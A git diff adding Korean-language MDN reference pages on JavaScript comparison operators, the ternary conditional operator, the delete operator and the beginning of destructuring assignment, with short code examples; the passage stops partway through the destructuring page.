+<div>{{EmbedInteractiveExample("pages/js/expressions-comparisonoperators.html")}}</div>
+
+
+
+<p>비교 연산의 특징은 다음과 같습니다.</p>
+
+<ul>
+ <li>두 문자열이 같은 문자 시퀀스로 구성되고, 같은 길이를 가지며, 같은 위치에 같은 문자가 존재하면 일치합니다.</li>
+ <li>두 숫자는 숫자로서 같은 값(같은 숫자 값)이면 일치합니다. {{jsxref("NaN")}}은 자기 자신을 포함한 그 무엇과도 동등하지 않습니다. <code>+0</code>과 <code>-0</code>은 서로 일치합니다.</li>
+ <li>두 불리언은 둘 다 <code>true</code>거나 <code>false</code>이면 일치합니다.</li>
+ <li>서로 다른 두 객체는 절대 일치하지도, 동등하지도 않습니다.</li>
+ <li>객체를 비교하는 표현식은 두 피연산자가 동일한 객체를 참조하는 경우에만 참입니다.</li>
+ <li>{{jsxref("null")}}과 {{jsxref("undefined")}}는 자기 자신과 일치하며, 서로 동등합니다.</li>
+</ul>
+
+<h2 id="동치_연산자">동치 연산자</h2>
+
+<h3 id="동등_연산자"><a name="Equality">동등 연산자 (==)</a></h3>
+
+<p>동등 연산자는 두 피연산자의 자료형이 같지 않은 경우 같아지도록 변환한 후, 엄격 비교를 수행합니다. 피연산자가 모두 객체라면, JavaScript는 내부 참조를 보고, 둘 다 메모리의 같은 객체를 바라보고 있는지 판별합니다.</p>
+
+<h4 id="구문">구문</h4>
+
+<pre class="syntaxbox">x == y
+</pre>
+
+<h4 id="예제">예제</h4>
+
+<pre class="brush: js">  1   ==  1        // true
+ "1"  ==  1        // true
+  1   == '1'       // true
+  0   == false     // true
+  0   == null      // false
+
+  0   == undefined // false
+null  == undefined // true
+</pre>
+
+<h3 id="부등_연산자_!"><a name="Inequality">부등 연산자 (!=)</a></h3>
+
+<p>부등 연산자는 두 피연산자가 같지 않은 경우 참을 반환합니다. 피연산자의 자료형이 일치하지 않는 경우 적절한 자료형으로의 변환을 시도합니다. 피연산자가 모두 객체라면, JavaScript는 내부 참조를 보고, 서로 메모리의 다른 객체를 바라보고 있는지 판별합니다.</p>
+
+<h4 id="구문_2">구문</h4>
+
+<pre class="syntaxbox">x != y</pre>
+
+<h4 id="예제_2">예제</h4>
+
+<pre class="brush: js">1 !=   2     // true
+1 !=  "1"    // false
+1 !=  '1'    // false
+1 !=  true   // false
+0 !=  false  // false
+</pre>
+
+<h3 id="일치_연산자"><a name="Identity">일치 연산자 (===)</a></h3>
+
+<p>일치 연산자는 자료형 변환 없이 두 연산자가 엄격히 같은지 판별합니다.</p>
+
+<h4 id="구문_3">구문</h4>
+
+<pre class="syntaxbox">x === y</pre>
+
+<h4 id="예제_3">예제</h4>
+
+<pre class="brush: js ">3 === 3   // true
+3 === '3' // false</pre>
+
+<h3 id="불일치_연산자_!"><a name="Nonidentity">불일치 연산자 (!==)</a></h3>
+
+<p>일치 연산자는 두 연산자가 같지 않거나, 같은 자료형이 아닐 때 참을 반환합니다.</p>
+
+<h4 id="구문_4">구문</h4>
+
+<pre class="syntaxbox">x !== y</pre>
+
+<h4 id="예제_4">예제</h4>
+
+<pre class="brush: js">3 !== '3' // true
+4 !== 3   // true
+</pre>
+
+<h2 id="관계_연산자">관계 연산자</h2>
+
+<p>이 항목의 모든 연산자는 비교 전에 피연산자를 {{glossary("primitive", "원시값")}}으로 <a href="/ko/docs/Glossary/Type_coercion">변환</a>합니다. 둘 다 문자열이 되는 경우 사전순으로 비교하고, 그렇지 않으면 숫자로 변환합니다. {{jsxref("NaN")}}과의 비교는 항상 <code>false</code>를 반환합니다.</p>
+
+<h3 id="초과_연산자_>"><a name="Greater_than_operator">초과 연산자 (&gt;)</a></h3>
+
+<p>초과 연산자는 왼쪽 피연산자가 오른쪽 피연산자보다 큰 경우 참을 반환합니다.</p>
+
+<h4 id="구문_5">구문</h4>
+
+<pre class="syntaxbox">x &gt; y</pre>
+
+<h4 id="예제_5">예제</h4>
+
+<pre class="brush: js">4 &gt; 3 // true
+</pre>
+
+<h3 id="이상_연산자_>"><a name="Greater_than_or_equal_operator">이상 연산자 (&gt;=)</a></h3>
+
+<p>이상 연산자는 왼쪽 피연산자가 오른쪽 피연산자보다 크거나 같으면 참을 반환합니다.</p>
+
+<h4 id="구문_6">구문</h4>
+
+<pre class="syntaxbox"> x &gt;= y</pre>
+
+<h4 id="예제_6">예제</h4>
+
+<pre class="brush: js">4 &gt;= 3 // true
+3 &gt;= 3 // true
+</pre>
+
+<h3 id="미만_연산자_&lt;"><a name="Less_than_operator">미만 연산자 (&lt;)</a></h3>
+
+<p>미만 연산자는 왼쪽 피연산자가 오른쪽 피연산자보다 작은 경우 참을 반환합니다.</p>
+
+<h4 id="구문_7">구문</h4>
+
+<pre class="syntaxbox">x &lt; y</pre>
+
+<h4 id="예제_7">예제</h4>
+
+<pre class="brush: js">3 &lt; 4 // true</pre>
+
+<h3 id="이하_연산자_&lt;"><a id="Less_than_or_equal_operator" name="Less_than_or_equal_operator">이하 연산자 (&lt;=)</a></h3>
+
+<p>이하 연산자는 왼쪽 피연산자가 오른쪽 피연산자보다 작거나 같으면 참을 반환합니다.</p>
+
+<h4 id="구문_8">구문</h4>
+
+<pre class="syntaxbox"> x &lt;= y</pre>
+
+<h4 id="예제_8">예제</h4>
+
+<pre class="brush: js">3 &lt;= 4 // true
+</pre>
+
+<h2 id="동치_연산자_사용하기">동치 연산자 사용하기</h2>
+
+<p>표준 동치, 동등 연산자(<code>==</code>, <code>!=</code>)는 두 피연산자를 비교하기 위해 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9.3">추상 동치 비교 알고리즘</a>(Abstract Equlity Comparison Algorithm)을 사용합니다. 피연산자 간 자료형이 일치하지 않으면 우선 변환을 시도합니다. 예를 들어 표현식 <code>5 == '5'</code>에서는 비교 전 오른쪽 문자열을 {{jsxref("Number")}}로 변환합니다.</p>
+
+<p>엄격 동치, 일치 연산자(<code>===</code>, <code>!==</code>)는 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9.6">엄격 동치 비교 알고리즘</a>(Strict Equality Comparison Algorithm)을 사용하며, 같은 자료형을 가진 피연산자를 비교하기 위해 사용합니다. 피연산자 간 자료형이 일치하지 않으면 항상 <code>false</code>이므로, <code>5 !== '5'</code>입니다.</p>
+
+<p>피연산자의 값은 물론 특정 자료형이어야 하는 경우 일치 연산자를 사용하세요. 그렇지 않은 경우 형변환을 자동으로 해주는 동등 연산자를 사용할 수도 있습니다.</p>
+
+<p>비교 과정에 자료형 변환이 필요한 경우 JavaScript는 {{jsxref("String")}}, {{jsxref("Number")}}, {{jsxref("Boolean")}}, {{jsxref("Object")}} 자료형을 다음과 같이 변환합니다.</p>
+
+<ul>
+ <li>숫자와 문자열을 비교할 땐 문자열을 숫자로 변환합니다. 우선, 문자열에서 수학적 값을 도출합니다. 그 후 가장 가까운 <code>Number</code> 자료형 값으로 반올림합니다.</li>
+ <li>하나의 연산자가 <code>Boolean</code>인 경우, <code>true</code>는 <code>1</code>, <code>false</code>는 <code>0</code>으로 변환합니다.</li>
+ <li>객체를 문자열이나 숫자와 비교하는 경우, JavaScript는 객체의 기본값을 사용합니다. 연산자는 우선 객체의 <code>valueOf()</code> 또는 <code>toString()</code> 메서드를 사용해 문자열 혹은 숫자 값을 받으려 시도합니다. 실패할 경우 런타임 오류가 발생합니다.</li>
+ <li>객체를 원시값과 비교하는 경우에만 객체의 변환이 발생합니다. 두 연산자가 모두 객체인 경우 변환하지 않으며, 둘 다 같은 객체를 참조하는 경우 참을 반환합니다.</li>
+</ul>
+
+<div class="note"><strong>참고:</strong> <code>String</code> 객체는 자료형 객체지, 문자열이 아닙니다! <code>String</code> 객체는 거의 쓰이지 않으며, 이런 성질로 인해 아래의 결과는 예상치 못한 값일 수 있습니다.</div>
+
+<pre class="brush:js">// true as both operands are type String (i.e. string primitives):
+'foo' === 'foo'
+
+var a = new String('foo');
+var b = new String('foo');
+
+// false as a and b are type Object and reference different objects
+a == b
+
+// false as a and b are type Object and reference different objects
+a === b
+
+// true as a and 'foo' are of different type and, the Object (a)
+// is converted to String 'foo' before comparison
+a == 'foo'</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Status</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-equality-operators', 'Equality Operators')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.comparison")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.is()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness">동치 비교와 동일성</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/conditional_operator/index.html b/files/ko/web/javascript/reference/operators/conditional_operator/index.html
new file mode 100644
index 0000000000..90f59ea4cd
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/conditional_operator/index.html
@@ -0,0 +1,193 @@
+---
+title: 삼항 조건 연산자
+slug: Web/JavaScript/Reference/Operators/Conditional_Operator
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>조건부 삼항 연산자</strong>는 JavaScript에서 세 개의 피연산자를 취할 수 있는 유일한 연산자입니다. 보통 <a href="/ko/docs/Web/JavaScript/Reference/Statements/if...else"><code>if</code></a> 명령문의 단축 형태로 쓰입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-conditionaloperators.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><em>condition</em> ? <em>exprIfTrue</em> : <em>exprIfFalse</em> </pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>condition</code></dt>
+ <dd>An expression whose value is used as a condition.</dd>
+ <dt><code>exprIfTrue</code></dt>
+ <dd>An expression which is evaluated if the <code>condition</code> evaluates to a {{Glossary("truthy")}} value (one which equals or can be converted to <code>true</code>).</dd>
+ <dt><code>exprIfFalse</code></dt>
+ <dd>An expression which is executed if the <code>condition</code> is {{Glossary("falsy")}} (that is, has a value which can be converted to <code>false</code>).</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><font face="Open Sans, Arial, sans-serif"><code>condition</code>이 </font><code>true</code>이면, 연산자는 <code>expr1</code>의 값을 반환하며, 반대의 경우 <code>expr2</code>를 반환한다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>여러분이 술을 마실수 있는지 확인할 수 있는 간단한 예제가 여기 있습니다.</p>
+
+<pre class="notranslate"><code>var age = 29;
+var canDrinkAlcohol = (age &gt; 19) ? "True, over 19" : "False, under 19";
+console.log(canDrinkAlcohol); // "True, over 19"</code>
+</pre>
+
+<p>isMember 변수의 값을 기준으로 다른 메시지를 보여주고자 한다면, 다음과 같이 표현할 수 있다.</p>
+
+<pre class="brush: js notranslate">"The fee is " + (isMember ? "$2.00" : "$10.00")
+</pre>
+
+<p>또한 다음과 같이 삼항(ternary)의 결과에 따라 변수를 할당할 수도 있다.</p>
+
+<pre class="brush: js notranslate">var elvisLives = Math.PI &gt; 4 ? "Yep" : "Nope";</pre>
+
+<p>다음의 예제처럼, 다중 삼항(ternary) 평가도 가능하다(주의: 조건 연산은 우측부터 그룹핑 됩니다.)</p>
+
+<pre class="brush: js notranslate">var firstCheck = false,
+    secondCheck = false,
+    access = firstCheck ? "Access denied" : secondCheck ? "Access denied" : "Access granted";
+
+console.log( access ); // logs "Access granted"</pre>
+
+<p>또한 다중 조건 IF 문과 같은 방식으로 여러개의 조건을 사용할 수도 있습니다.</p>
+
+<pre class="notranslate"><code>var condition1 = true,
+    condition2 = false,
+    access = condition1 ? (condition2 ? "true true": "true false") : (condition2 ? "false true" : "false false");
+
+console.log(access); // logs "true false"</code></pre>
+
+<p>참고 : 괄호는 필수는 아니며 기능에 영향을주지 않습니다. 결과가 어떻게 처리되는지 시각화하는 데 도움이됩니다.</p>
+
+<p>삼항(ternary) 평가는 다른 연산을 하기 위해 쓸 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">var stop = false, age = 16;
+
+age &gt; 18 ? location.assign("continue.html") : stop = true;
+</pre>
+
+<p>하나의 케이스 당 둘 이상의 단일 작업을 수행하려면 쉼표로 구분하고 괄호로 묶으세요.</p>
+
+<pre class="brush: js notranslate">var stop = false, age = 23;
+
+age &gt; 18 ? (
+    alert("OK, you can go."),
+    location.assign("continue.html")
+) : (
+    stop = true,
+    alert("Sorry, you are much too young!")
+);
+</pre>
+
+<p>또한, 값을 할당하는 동안 하나 이상의 연산도 가능합니다. 이 경우에, 괄호 안의 값중 마지막 쉼표 (,) 다음의 값이 최종 할당 값이 됩니다.</p>
+
+<pre class="brush: js notranslate">var age = 16;
+
+var url = age &gt; 18 ? (
+    alert("OK, you can go."),
+    // alert returns "undefined", but it will be ignored because
+    // isn't the last comma-separated value of the parenthesis
+    "continue.html" // the value to be assigned if age &gt; 18
+) : (
+    alert("You are much too young!"),
+    alert("Sorry :-("),
+    // etc. etc.
+    "stop.html" // the value to be assigned if !(age &gt; 18)
+);
+
+location.assign(url); // "stop.html"</pre>
+
+
+
+<h3 id="삼항_연산자로_반환하기">삼항 연산자로 반환하기</h3>
+
+<p>삼항 연산자는 <code>if / else</code> 문을 사용하는 함수를 반환하는 데 적합합니다.</p>
+
+<pre class="notranslate"><code>var func1 = function( .. ) {
+  if (condition1) { return value1 }
+  else { return value2 }
+}
+
+var func2 = function( .. ) {
+  return condition1 ? value1 : value2
+}</code></pre>
+
+<p>다음과 같이 법적으로 술을 마실수 있는지 여부를 반환하는 함수를 만들수 있습니다.</p>
+
+<pre class="notranslate"><code>function canDrinkAlcohol(age) {
+  return (age &gt; 21) ? "True, over 21" : "False, under 21";
+}
+var output = canDrinkAlcohol(26);
+console.log(output); // "True, over 21"</code></pre>
+
+<p><code>if / else</code> 문을 대체하는 삼항연산자가 <code>return</code>을 여러 번 사용하고 if 블록 내부에서 한줄만 나올때 <code>return</code>을 대체 할 수 있는 좋은 방법이됩니다.</p>
+
+<p>삼항연산자를 여러 행으로 나누고 그 앞에 공백을 사용하면 긴 <code>if / else</code> 문을 매우 깔끔하게 만들 수 있습니다. 이것은 동일한 로직을 표현하지만 코드를 읽기 쉽게 만들어 줍니다.</p>
+
+<pre class="notranslate"><code>var func1 = function( .. ) {
+  if (condition1) { return value1 }
+  else if (condition2) { return value2 }
+  else if (condition3) { return value3 }
+  else { return value4 }
+}
+
+var func2 = function( .. ) {
+  return condition1 ? value1
+       : condition2 ? value2
+       : condition3 ? value3
+       :              value4
+}</code>
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-conditional-operator', 'Conditional Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-conditional-operator', 'Conditional Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.12', 'The conditional operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.12', 'The conditional operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.conditional")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/if...else">if statement</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/delete/index.html b/files/ko/web/javascript/reference/operators/delete/index.html
new file mode 100644
index 0000000000..037c3bcd98
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/delete/index.html
@@ -0,0 +1,282 @@
+---
+title: delete 연산자
+slug: Web/JavaScript/Reference/Operators/delete
+tags:
+  - JavaScript
+  - Operator
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/delete
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>delete</code></strong> <strong>연산자</strong>는 객체의 속성을 제거합니다. 제거한 객체의 참조를 어디에서도 사용하지 않는다면 나중에 자원을 회수합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-deleteoperator.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">delete <em>expression</em> </pre>
+
+<p><code>expression</code>은 속성 참조여야 합니다. 예컨대,</p>
+
+<pre class="syntaxbox">delete <em>object.property</em>
+delete <em>object</em>['<em>property</em>']
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>객체의 이름, 또는 평가했을 때 객체를 반환하는 표현식.</dd>
+ <dt><code>property</code></dt>
+ <dd>제거하려는 속성.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>true</code>. 단, 비엄격 모드에서 속성이 {{jsxref("Object.prototype.hasOwnProperty", "자신의 속성", "", 0)}}이며 <a href="/ko/docs/Web/JavaScript/Reference/Errors/Cant_delete">설정 불가능</a>한 경우 <code>false</code>.</p>
+
+<h3 id="예외">예외</h3>
+
+<p>엄격 모드에서, 속성이 자신의 속성이며 설정 불가능한 경우 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>일반적으로 생각하고 있는것과는 다르게 <code>delete</code> 는 메모리 해제에 관하여 직접적으로 어떠한 작업도 하지 않습니다. 메모리 관리는 breaking references를 통하여 간접적으로 일어납니다. 자세한 걸 알고 싶다면 <a href="/en-US/docs/Web/JavaScript/Memory_Management">memory management</a> 를 보세요.</p>
+
+<p><code><strong>delete</strong></code>연산자는 오브젝트로 부터 해당 프로퍼티를 삭제합니다. 삭제를 하면 true를 반환, 아니면 false를 반환합니다. 그렇지만 아래 경우를 고려해야만 합니다. </p>
+
+<ul>
+ <li>만약 존재하지 않는 속성을 삭제하려고 하면 delete는 어떠한 작업도 없이 true를 반환합니다.</li>
+ <li>오브젝트의 프로토타입 체인에 같은 이름의 속성이 있다면, 삭제 후에,  오브젝트의 프로토타입체인을 통해 프로퍼티를 사용 할 수 있습니다. (즉, <code>delete</code>는 오직 자신의 프로퍼티만 삭제 합니다.</li>
+ <li>{{jsxref("Statements/var","var")}}로 선언된 어떠한 프로퍼티라도 글로벌 스코프나 펑션 스코프로부터 삭제될 수 없습니다.
+  <ul>
+   <li>결국, <code>delete</code>는 글로벌 스코프의 어떤 함수도 삭제 할 수 없습니다. (함수 정의식이건 함수 표현식이건 삭제 불가)</li>
+   <li>오브젝트의 속성으로 있는 함수인 경우(글로벌 스코프를 제외하고)는 <code>delete</code>로 삭제할 수 있습니다.</li>
+  </ul>
+ </li>
+ <li>{{jsxref("Statements/let","let")}}과 {{jsxref("Statements/const","const")}}로 선언한 속성은 어느 스코프에 정의되어 있건 삭제 할 수 없습니다.</li>
+ <li>Non-configurable 속성은 삭제 할 수 없습니다. 이것은  {{jsxref("Math")}}, {{jsxref("Array")}}, {{jsxref("Object")}}와 같은 built-in objects의 속성들이나 {{jsxref("Object.defineProperty()")}} 같은 메소드로 만든 non-configurable속성들을 포함합니다.</li>
+</ul>
+
+<p>간단한 예제입니다.</p>
+
+<pre class="brush: js">var Employee = {
+  age: 28,
+  name: 'abc',
+  designation: 'developer'
+}
+
+console.log(delete Employee.name);   // returns true
+console.log(delete Employee.age);    // returns true
+
+// 존재하지 않는 속성을 삭제하려하면
+// true를 리턴합니다.
+console.log(delete Employee.salary); // returns true
+</pre>
+
+<h3 id="설정_불가능한_속성">설정 불가능한 속성</h3>
+
+<p>non-configurable 속성은 <code>delete</code>로 삭제할 수 없으며, <code>false</code>를 반환할 것입니다(*strict mode에서는 <code>SyntaxError</code>를 발생시킴).</p>
+
+<pre class="brush: js">var Employee = {};
+Object.defineProperty(Employee, 'name', {configurable: false});
+
+console.log(delete Employee.name);  // returns false
+</pre>
+
+<p>{{jsxref("Statements/var","var")}}, {{jsxref("Statements/let","let")}}, {{jsxref("Statements/const","const")}}로 선언된 변수는 non-configurable 속성으로 구분되며, <code>delete</code>로 삭제될 수 없습니다.</p>
+
+<pre class="brush: js">var nameOther = 'XYZ';
+
+// 우리는 이를 사용해 글로벌 속성에 접근 할 수 있습니다:
+Object.getOwnPropertyDescriptor(window, 'nameOther');
+
+// output: Object { value: "XYZ",
+//                  writable: true,
+//                  enumerable: true,
+//                  <strong>configurable: false </strong>}
+
+// "nameOther"은 var로 선언되었기 때문에
+// 이는 "non-configurable" 속성으로 구분됩니다.
+
+delete nameOther;   // return false</pre>
+
+<p>strict mode, this would have raised an exception.</p>
+
+<h3 id="엄격_vs._비엄격_모드">엄격 vs. 비엄격 모드</h3>
+
+<p>엄격 모드에서 <code>delete</code>로 변수나 함수를 삭제하려고 하면 {{jsxref("SyntaxError")}}가 발생합니다. </p>
+
+<p><code>var</code>로 정의된 변수는 non-configurable로 구분됩니다. 다음 예제에서, <code>salary</code>는 non-configurable이며 삭제될 수 없습니다. non-strict mode에서 non-configurable에 <code>delete</code>를 쓰면 <code>false</code>를 반환합니다.</p>
+
+<pre class="brush: js">function Employee() {
+  delete salary;
+  var salary;
+}
+
+Employee();
+</pre>
+
+<p>그러나 strict mode에서는 <code>false</code>를 반환하는 대신, <code>SyntaxError</code>를 발생시킵니다.</p>
+
+<pre class="brush: js">"use strict";
+
+function Employee() {
+  delete salary;  // SyntaxError
+  var salary;
+}
+
+// 이와 마찬가지로, delete로 함수를 삭제하는 것도
+// SyntaxError를 발생시킵니다.
+
+function DemoFunction() {
+  //some code
+}
+
+delete DemoFunction; // SyntaxError
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// 전역스코프에 adminName라는 프로퍼티를 만듭니다.
+adminName = 'xyz';
+
+// 전역스코프에 empCount라는 프로퍼티를 만듭니다.
+// var를 사용해서 선언했으므로, 이는 non-configurable로 구분됩니다.
+// let 이나 const를 사용하더라도 마찬가지로 non-configurable 입니다.
+var empCount = 43;
+
+EmployeeDetails = {
+  name: 'xyz',
+  age: 5,
+  designation: 'Developer'
+};
+
+// adminName은 전역변수입니다.
+// 이는 var를 사용하여 선언되지 않았기에 configurable하며 delete로 삭제될 수 있습니다.
+delete adminName;       // returns true
+
+// 이와 반대로, empCount는 var를 사용하였기에 non-configurable이며
+// 그러므로 delete로 삭제할 수 없습니다.
+delete empCount;       // returns false
+
+// delete는 객체의 프로퍼티를 지울 때 사용됩니다.
+delete EmployeeDetails.name; // returns true
+
+// 해당 프로퍼티가 존재하지 않는 상황에서도 "true"를 리턴합니다.
+delete EmployeeDetails.salary; // returns true
+
+// 내장되어있는 정적 프로퍼티에는 delete가 영향을 미치지 않습니다.
+delete Math.PI; // returns false
+
+// EmployeeDetails 은 전역스코프의 프로퍼티 입니다.
+// "var"를 사용하지 않고 선언되었기 때문에 이는 configurable입니다.
+delete EmployeeDetails;   // returns true
+
+function f() {
+  var z = 44;
+
+  // 지역변수에는 delete가 영향을 미치지 않습니다.
+  delete z;     // returns false
+}</pre>
+
+<h3 id="delete와_프로토타입_체인"><code>delete</code>와 프로토타입 체인</h3>
+
+<p>In the following example, we delete an own property of an object while a property with the same name is available on the prototype chain:</p>
+
+<pre class="brush: js">function Foo() {
+  this.bar = 10;
+}
+
+Foo.prototype.bar = 42;
+
+var foo = new Foo();
+
+// Returns true, since the own property
+// has been deleted on the foo object
+delete foo.bar;
+
+// foo.bar is still available, since it
+// is available in the prototype chain.
+console.log(foo.bar);
+
+// We delete the property on the prototype
+delete Foo.prototype.bar;
+
+// logs "undefined" since the property
+// is no longer inherited
+console.log(foo.bar);           </pre>
+
+<h3 id="객체_요소_제거하기">객체 요소 제거하기</h3>
+
+<p>When you delete an array element, the array length is not affected. This holds even if you delete the last element of the array.</p>
+
+<p>When the <code>delete</code> operator removes an array element, that element is no longer in the array. In the following example, <code>trees[3]</code> is removed with <code>delete</code>.</p>
+
+<pre class="brush: js">var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
+delete trees[3];
+if (3 in trees) {
+    // this does not get executed
+}</pre>
+
+<p>If you want an array element to exist but have an undefined value, use the <code>undefined</code> value instead of the <code>delete</code> operator. In the following example, <code>trees[3]</code> is assigned the value undefined, but the array element still exists:</p>
+
+<pre class="brush: js">var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
+trees[3] = undefined;
+if (3 in trees) {
+    // this gets executed
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-delete-operator', 'The delete Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-delete-operator', 'The delete Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.4.1', 'The delete Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.4.1', 'The delete Operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div id="compat-mobile">{{Compat("javascript.operators.delete")}}</div>
+
+<h2 id="크로스_브라우저_참고사항">크로스 브라우저 참고사항</h2>
+
+<p>Although ECMAScript makes iteration order of objects implementation-dependent, it may appear that all major browsers support an iteration order based on the earliest added property coming first (at least for properties not on the prototype). However, in the case of Internet Explorer, when one uses <code>delete</code> on a property, some confusing behavior results, preventing other browsers from using simple objects like object literals as ordered associative arrays. In Explorer, while the property <em>value</em> is indeed set to undefined, if one later adds back a property with the same name, the property will be iterated in its <em>old</em> position--not at the end of the iteration sequence as one might expect after having deleted the property and then added it back.</p>
+
+<p>If you want to use an ordered associative array in a cross-browser environment, use a {{jsxref("Map")}} object if available, or simulate this structure with two separate arrays (one for the keys and the other for the values), or build an array of single-property objects, etc.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://perfectionkills.com/understanding-delete/">In depth analysis on delete</a></li>
+ <li>{{jsxref("Reflect.deleteProperty()")}}</li>
+ <li>{{jsxref("Map.prototype.delete()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/destructuring_assignment/index.html b/files/ko/web/javascript/reference/operators/destructuring_assignment/index.html
new file mode 100644
index 0000000000..d078e94c38
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/destructuring_assignment/index.html
@@ -0,0 +1,409 @@
+---
+title: 구조 분해 할당
+slug: Web/JavaScript/Reference/Operators/Destructuring_assignment
+tags:
+  - Destructuring
+  - ECMAScript 2015
+  - JavaScript
+  - Operator
+  - Reference
+  - 구조 분해
+translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>구조 분해 할당</strong> 구문은 배열이나 객체의 속성을 해체하여 그 값을 개별 변수에 담을 수 있게 하는 JavaScript 표현식입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-destructuringassignment.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">var a, b, rest;
+[a, b] = [10, 20];
+console.log(a); // 10
+console.log(b); // 20
+
+[a, b, ...rest] = [10, 20, 30, 40, 50];
+console.log(a); // 10
+console.log(b); // 20
+console.log(rest); // [30, 40, 50]
+
+({ a, b } = { a: 10, b: 20 });
+console.log(a); // 10
+console.log(b); // 20
+
+
+// Stage 4(finished) proposal
+({a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40});
+console.log(a); // 10
+console.log(b); // 20
+console.log(rest); // {c: 30, d: 40}
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>객체 및 배열 리터럴 표현식을 사용하면 즉석에서 쉽게 데이터 뭉치를 만들 수 있습니다.</p>
+
+<pre class="brush: js">var x = [1, 2, 3, 4, 5];</pre>
+
+<p>구조 분해 할당의 구문은 위와 비슷하지만, 대신 할당문의 좌변에서 사용하여, 원래 변수에서 어떤 값을 분해해 할당할지 정의합니다.</p>
+
+<pre class="brush: js">var x = [1, 2, 3, 4, 5];
+var [y, z] = x;
+console.log(y); // 1
+console.log(z); // 2
+</pre>
+
+<p>구조 분해 할당은 Perl이나 Python 등 다른 언어가 가지고 있는 기능입니다.</p>
+
+<h2 id="배열_구조_분해">배열 구조 분해</h2>
+
+<h3 id="기본_변수_할당">기본 변수 할당</h3>
+
+<pre class="brush: js">var foo = ["one", "two", "three"];
+
+var [one, two, three] = foo;
+console.log(one); // "one"
+console.log(two); // "two"
+console.log(three); // "three"
+</pre>
+
+<h3 id="선언에서_분리한_할당">선언에서 분리한 할당</h3>
+
